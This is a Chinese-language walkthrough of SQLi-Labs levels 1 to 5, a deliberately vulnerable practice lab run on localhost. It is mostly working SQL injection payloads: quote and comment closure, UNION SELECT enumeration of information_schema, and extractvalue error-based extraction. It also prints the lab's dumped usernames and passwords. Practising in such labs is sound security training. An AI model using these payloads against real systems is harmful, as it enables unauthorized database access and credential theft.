SQLi-Labs靶场Less1-Less5关卡复现

Less1 - Error Based- String

①初始页面：存在"Please input the ID as parameter with numeric value"提示

URL：http://127.0.0.1:8080/Less-1/

②根据提示尝试构造?id=1，发现了id=1的用户名及其密码

payload：http://127.0.0.1:8080/Less-1/?id=1

③用单引号'测试注入点，存在报错信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

可以初步判断是字符型SQL注入漏洞

payload：http://127.0.0.1:8080/Less-1/?id=1'

④根据注入点的报错信息尝试闭合语句，最终闭合成功的语句为?id=1' -- s

payload：http://127.0.0.1:8080/Less-1/?id=1' -- s

⑤用order by判断注入点数量

payload：http://127.0.0.1:8080/Less-1/?id=1' order by 3 -- s

⑥通过注入点数量，查看是否存在回显点，查找到回显点2，3

payload：http://127.0.0.1:8080/Less-1/?id=-1' union select 1,2,3 -- s

⑦通过回显点爆数据库名

结果：information_schema,challenges,mysql,performance_schema,security

payload：http://127.0.0.1:8080/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata  -- s

⑧通过回显点爆security数据库下的表名

结果：emails,referers,uagents,users

payload：http://127.0.0.1:8080/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"  -- s

⑨通过回显点爆users表下的字段名

结果：id,username,password

payload：http://127.0.0.1:8080/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"  -- s

⑩通过回显点爆字段username，password内容

结果：Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

payload：http://127.0.0.1:8080/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users  -- s

Less2 - Error Based- Intiger

①初始页面：存在"Please input the ID as parameter with numeric value"提示

URL：http://127.0.0.1:8080/Less-2

②根据提示尝试构造?id=1，发现了id=1的用户名及其密码

payload：http://127.0.0.1:8080/Less-2/?id=1

③用单引号'、and 1=1和and1=2测试注入点，'和and 1=2存在报错信息

payload：http://127.0.0.1:8080/Less-2/?id=1 and 1=2

通过'存在报错且and 1=2无回显信息，可以初步判断是字符型SQL注入漏洞

④用order by判断注入点数量

payload：http://127.0.0.1:8080/Less-2/?id=1 order by 3

⑤通过注入点数量，查看是否存在回显点，查找到回显点2，3

payload：http://127.0.0.1:8080/Less-2/?id=-1 union select 1,2,3

​

⑥通过回显点爆数据库名

payload：http://127.0.0.1:8080/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata

结果：information_schema,challenges,mysql,performance_schema,security

​

⑥通过回显点爆security数据库下的表名

payload：http://127.0.0.1:8080/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"

结果：emails,referers,uagents,users

​

⑦通过回显点爆users下的字段名

payload：http://127.0.0.1:8080/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"

结果：id,username,password

​

⑧通过回显点爆字段username，password内容

payload：http://127.0.0.1:8080/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users

结果： Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4 

Less3 - Error Based- String (with Twist)

①初始页面：存在"Please input the ID as parameter with numeric value "提示

URL：http://127.0.0.1:8080/Less-3

②尝试构造?id=1，发现了id=1的用户名及其密码

payload：http://127.0.0.1:8080/Less-3/?id=1

③用'测试注入点

显示报错信息：You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

初步判断为字符型SQL注入

④根据注入点的报错信息尝试闭合语句，最终闭合成功的语句为?id=1'） -- s

payload：http://127.0.0.1:8080/Less-3/?id=1') -- s

⑤用order by判断字段数量

payload：http://127.0.0.1:8080/Less-3/?id=1') order by 3 -- s

⑥判断回显点数量

payload：http://127.0.0.1:8080/Less-3/?id=-1') union select 1,2,3 -- s

⑦通过回显点爆数据库名

payload：http://127.0.0.1:8080/Less-3/?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata -- s

结果：information_schema,challenges,mysql,performance_schema,security

⑧通过回显点爆security库的表名

payload：http://127.0.0.1:8080/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" -- s

结果：emails,referers,uagents,users

⑨通过回显点爆usrs表的所有字段名

payload：http://127.0.0.1:8080/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" -- s

结果：id,username,password

⑩通过回显点查看username，password字段所有内容

payload：http://127.0.0.1:8080/Less-3/?id=-1') union select 1,group_concat(username),group_concat(password) from users -- s

结果：Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

Less4 - Error Based- DoubleQuotes String

①初始页面：存在"Please input the ID as parameter with numeric value "提示

URL：http://127.0.0.1:8080/Less-4/

②尝试构造?id=1，发现了id=1的用户名及其密码

payload：http://127.0.0.1:8080/Less-4/?id=1

③用双引号"测试注入点，存在报错信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

可以初步判断为字符型SQL注入

payload：http://127.0.0.1:8080/Less-4/?id=1"

④根据注入点的报错信息尝试闭合语句，最终闭合成功的语句为?id=1“） -- s

payload：http://127.0.0.1:8080/Less-4/?id=1") -- s

⑤用order by判断注入点数量

payload：http://127.0.0.1:8080/Less-4/?id=1") order by 3 -- s

⑥通过注入点数量，查看是否存在回显点，查找到回显点2，3

payload：http://127.0.0.1:8080/Less-4/?id=-1") union select 1,2,3 -- s

⑦通过回显点爆数据库名

payload：http://127.0.0.1:8080/Less-4/?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata  -- s

⑧通过回显点爆security数据库下的表名

payload：http://127.0.0.1:8080/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"  -- s

⑨通过回显点爆users表下的字段名

payload：http://127.0.0.1:8080/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"  -- s

⑩通过回显点爆字段username，password内容

payload：http://127.0.0.1:8080/Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users  -- s

Less5 - Double Query- Single Quotes- String

①初始页面：存在"Please input the ID as parameter with numeric value "提示

URL：http://127.0.0.1:8080/Less-5/

②尝试构造?id=1，发现只有"You are in..."

payload：http://127.0.0.1:8080/Less-5/?id=1

③尝试构造?id=1'

提示"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1"信息，那么应该需要构造报错注入

payload：http://127.0.0.1:8080/Less-5/?id=1'

④构造报错注入爆数据库名

payload1：http://127.0.0.1:8080/Less-5/?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),1,30))) -- s

payload2：http://127.0.0.1:8080/Less-5/?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),31,30))) -- s

payload3：http://127.0.0.1:8080/Less-5/?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),61,30))) -- s

结果：information_schema,challenges,mysql,performance_schema,security

⑤构造报错注入爆security库下所有表名

payload：http://127.0.0.1:8080/Less-5/?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema="security"),1,30))) -- s

结果：emails,referers,uagents,users

⑥构造报错注入爆users表下的所有字段名

payload：http://127.0.0.1:8080/Less-5/?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_name="users"),1,30))) -- s

结果：id,username,password

⑦构造报错注入爆username、password字段下所有内容

payload1：http://127.0.0.1:8080/Less-5/?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(username) from users),1,30))) -- s

payload2：http://127.0.0.1:8080/Less-5/?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(username) from users),31,30))) -- s

payload3：http://127.0.0.1:8080/Less-5/?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(username) from users),61,30))) -- s

payload4：http://127.0.0.1:8080/Less-5/?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(username) from users),91,30))) -- s

payload5：http://127.0.0.1:8080/Less-5/?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(password) from users),1,30))) -- s

payload6：http://127.0.0.1:8080/Less-5/?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(password) from users),31,30))) -- s

payload7：http://127.0.0.1:8080/Less-5/?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(password) from users),61,30))) -- s

payload8：http://127.0.0.1:8080/Less-5/?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(password) from users),91,30))) -- s

结果：

username：Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4

password：Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4